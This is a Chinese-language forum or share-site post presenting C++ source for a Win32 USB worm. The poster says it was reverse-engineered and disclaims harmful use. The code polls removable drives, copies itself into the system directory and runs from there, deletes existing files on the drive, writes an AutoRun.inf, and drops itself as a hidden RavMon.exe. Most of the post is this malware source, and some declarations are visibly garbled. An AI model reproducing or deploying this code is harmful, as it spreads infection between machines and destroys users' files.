一個簡單的C++編寫的u盤病毒代碼
一個簡單的C++編寫的u盤病毒代碼
一個win32下能用的U盤病毒 研究原理可以 別編譯拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出來的 感興趣的可以看看。。。
#include<windows.h>include<string.h>
BOOL UDevice();
void ResourceToFile(char filename,char Name,char* Type);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; }
BOOL UDevice() {
while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName, 0, 256); memset(ToPath, 0, 256); memset(infPath, 0, 256); memset(OpenUDevice, 0, 79); //do //{ //}while() //遍歷盤符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判斷是否是可移動存儲設備 if(retType == DRIVE_REMOVABLE) { //得到自身文件路徑 GetModuleFileName(NULL, szName, 256); //比較是否和U盤的盤符相同 if(strncmp(Name, szName, 1) == 0) { //得到系統目錄 GetSystemDirectory(ToPath, 256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件復制到系統目錄 if(CopyFile(szName, ToPath, TRUE)) { WinExec(ToPath, 0);//運行程序 } strcpy(OpenUDevice, "explorer "); strcat(OpenUDevice, Name); //打開U盤 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath, Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //還原U盤上的文件屬性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //刪除原有文件 DeleteFile(ToPath); DeleteFile(infPath); //釋放AutoRun.inf到U盤 ResourceToFile(infPath, (char*)0x64, (char*)256); //拷貝自身文件到U盤 CopyFile(szName,ToPath,FALSE); //把這兩個文件設置成系統,隱藏屬性 //這里我查了MSDN 因為第二個參數的宏可能用了或位運算,所以推導宏定義有點麻煩 SetFileAttributes(ToPath, 0x6); SetFileAttributes(infPath, 0x6); } } } //一分鐘檢測一次U盤 Sleep(60000); }
}
void ResourceToFile(char filename,char Name,char* Type) {
//尋找自身進程中的資源 HRSRC hRes = FindResource(NULL,Name,Type); if(hRes==NULL) return; //導入資源 HGLOBAL hgRes = LoadResource(NULL, hRes); if(hgRes==NULL) return; //鎖定資源 void *pRes = LockResource(hgRes); if(pRes==NULL) return; //得到資源字節數 DWORD size = SizeofResource(NULL, hRes); if(size==0) return; //創建文件 HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); if(hFile==INVALID_HANDLE_VALUE) return; DWORD dwWrite; //把資源寫入到文件 if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) return; //關閉文件句柄 CloseHandle(hFile); //釋放資源 GlobalFree(hgRes);
}</pre>
本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!